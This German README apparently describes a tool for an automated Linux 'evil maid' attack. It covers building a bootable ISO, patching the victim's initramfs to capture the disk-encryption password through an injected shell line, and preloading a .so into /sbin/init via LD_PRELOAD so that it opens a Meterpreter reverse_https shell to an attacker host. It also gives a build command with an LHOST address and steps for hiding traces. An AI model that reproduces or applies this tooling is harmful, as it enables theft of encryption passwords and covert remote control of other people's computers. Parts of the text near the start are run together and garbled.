
Automatisierter Linux-Evil-Maid-Angriff

.so-Datei in /sbin/init beim Booten, wodurch eine Shell geöffnet wirdLD_PRELOAD .so in DefaultEnviroment, global geladen, wodurch eine Shell geöffnet wirdpython/meterpreter/reverse_https zur Kompilierzeit LHOSTgetenv PASSWORD)Siehe Makefile für weitere Informationen/Konfiguration. LHOST ist in der Umgebung erforderlich, um die .so zu bauen, da msfvenom zur Kompilierzeit eingeleitet wird. Außerdem muss libcrypsetup-dev (oder äquivalent) auf dem Build-Rechner installiert sein.
Allgemeine Anleitung (erzeugt ISO-Image im aktuellen Verzeichnis):
LHOST=192.168.56.101 make rev.so iso
Die folgenden Optionen wurden dem Kernel-Boot angehängt:
mc superuser nodhcp quiet loglevel=0
Außerdem wurde der prompt-Wert auf 0 gesetzt, um eine vollautomatische Ausführung zu ermöglichen.
Ungefähre Zeit von bösartigem Booten bis zur hinterlegten Hintertür: ~2 Minuten Ungefähre Zeit von legitimem Booten bis zur Shell: ~90 Sekunden (konfigurierbar, wir möchten, dass das Netzwerk vor uns aktiv ist)
core.d ist ein entpacktes core.gz von TinyCore mit den unten aufgeführten Paketen.
Core-current ist ein entpacktes Core-current.iso
Die folgenden Pakete wurden innerhalb von TinyCore installiert (Python, Dateisystemunterstützung):
Mindestens ist die Signatur wie folgt:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS ist ein eindeutiger Name für dieses Betriebssystem.IDENTIFIER ist ein Shell-Befehl, der einen Exit-Code 0 zurückgibt, wenn er gegen die richtige initrd ausgeführt wird, und !0 für alles andere.ROOT ist der vollständige Pfad oder die Variable, wo das neue Root nach der Entschlüsselung eingehängt wird.FILENAME ist der vollständige Pfad, um unsere Binärdatei auf dem Root-Dateisystem abzulegen. Achten Sie darauf zu wissen, was initrd einhängt und was später eingehängt wird.INITRDFILENAME ist der vollständige Pfad der Binärdatei innerhalb der initrd. Dies wird innerhalb des Makefile kopiert (cp ... core.d/...), daher sollte es damit übereinstimmen.Danach wird jedes Tripel von *FILE, *PRE, *POST gegen die initrd als re.sub ausgeführt (z.B. re.sub(*PRE, *POST, *FILE)). Der Inhalt von *PRE und *POST wird mit .format(**config[detectedOS]) erweitert, also können Sie Ihre Signatur erweitern, um Elemente einzufügen.
Es gibt keine Begrenzung für die Anzahl der Ersetzungen, die Sie durchführen können.
\\1 wird zu den vollständigen Inhalten des Treffers (*PRE) erweitert, wenn es innerhalb der Ersetzung (*POST) verwendet wird.| $Die Metasploit-Nutzlast python/meterpreter/reverse_https wurde gewählt, da sie plattformunabhängiger ist als die Nutzlasten linux/*/meterpreter/reverse_tcp. Python scheint standardmäßig auf allen getesteten Systemen installiert zu sein.
Standardmäßig wird die Nutzlast zur Kompilierzeit generiert und als #define in die .c-Datei eingeleitet. Dies erleichtert Iterationen, aber es sollte nicht schwer sein, die Nutzlast zu speichern und manuell einzufügen.
Debian-basierte Systeme (Debian, Ubuntu usw.) verwenden ein standardmäßig gzip-komprimiertes CPIO-Image als Initramfs. Dieses enthält das standardmäßige /init-Skript, das die Vorbereitung des Systems für den vollständigen Bootvorgang durchläuft. Dazu gehört die Aufforderung des Benutzers zur Eingabe seines Passworts und das Einhängen des verschlüsselten Root-Dateisystems.
Um unsere .so abzulegen, warten wir, bis das Root-Dateisystem eingehängt wurde (also nachdem der Benutzer nach seinem Passwort gefragt wurde), und kopieren die .so in das /dev-Dateisystem. Das /dev-Dateisystem wurde gewählt, da es kurz vor dem Umschalten des Root-Dateisystems zugänglich ist und auf RAM basiert. Das bedeutet, dass unsere .so keine Festplatte berührt.
Um die abgelegte .so tatsächlich zu verwenden, setzen wir dann die Umgebungsvariable LD_PRELOAD beim Aufruf von switch_root. Diese Variable wird an alle untergeordneten ausführbaren Programme weitergegeben, sodass das endgültige Skript /sbin/init das Modul geladen hat. Um dies relativ leise zu halten, überprüfen wir, ob wir in /sbin/init geladen sind, und wenn ja, löschen wir die LD_PRELOAD-Variable und entfernen die .so. Diese Funktionalität kann leicht deaktiviert werden, wenn wir bestimmte Anwendungen hooken möchten.
Um die Ausführung der .so zu erzwingen, verwenden wir standardmäßig nach dem Laden das gcc-Flag -Wl,-init,shell, wobei shell unsere Hauptfunktion ist. Dies gibt an, welche Funktion beim Initialisieren der .so aufgerufen werden soll. Denken Sie daran als Analogon zu Windows' DllMain.
Der Teil des init-Skripts, der für die Aufforderung des Benutzers zur Eingabe seines Passworts und das Einhängen des Root-Dateisystems zuständig ist, ist wie folgt:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
Der wichtige Teil für uns ist, wo die Ausgabe von $cryptkeyscript in $cryptcreate weitergeleitet wird. $cryptkeyscript ist der Passwortabfrager, und $cryptcreate ist der Datenträger-Einhänger. Diese Pipe macht es uns sehr einfach, anzugreifen. Wir fügen den folgenden Code dort ein, wo die Pipe ist, um das Passwort an das Ende unserer .so zu schreiben:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
Dies liest das Passwort in die Variable $P und schreibt es sowohl an das Ende der .so als auch gibt es wieder aus. Dieser Code wird für die Zwecke von $cryptkeyscript und $cryptcreate transparent sein, aber er wird den Nebeneffekt haben, das Passwort zu exfiltrieren. Wir verwenden \\\\\\\\x00, um dem Passwort ein Nullbyte voranzustellen (unter Berücksichtigung vieler Ebenen von Shell-Escaping). Dies macht es für unsere .so viel einfacher, das Passwort zurückzulesen, da sie nur rückwärts vom Ende bis zu einem Nullbyte lesen muss.
Um dieses Passwort dem Angreifer bereitzustellen, wird es als Umgebungsvariable beim Aufruf der Nutzlast verwendet. Das bedeutet, dass der Angreifer einfach den Meterpreter-Befehl getenv PASSWORD verwenden kann, um das Passwort abzurufen.
Aufgrund der Art und Weise, wie die .so geladen wird, gibt es Referenzen darauf sowohl in /proc/1/maps als auch in /proc/1/environ.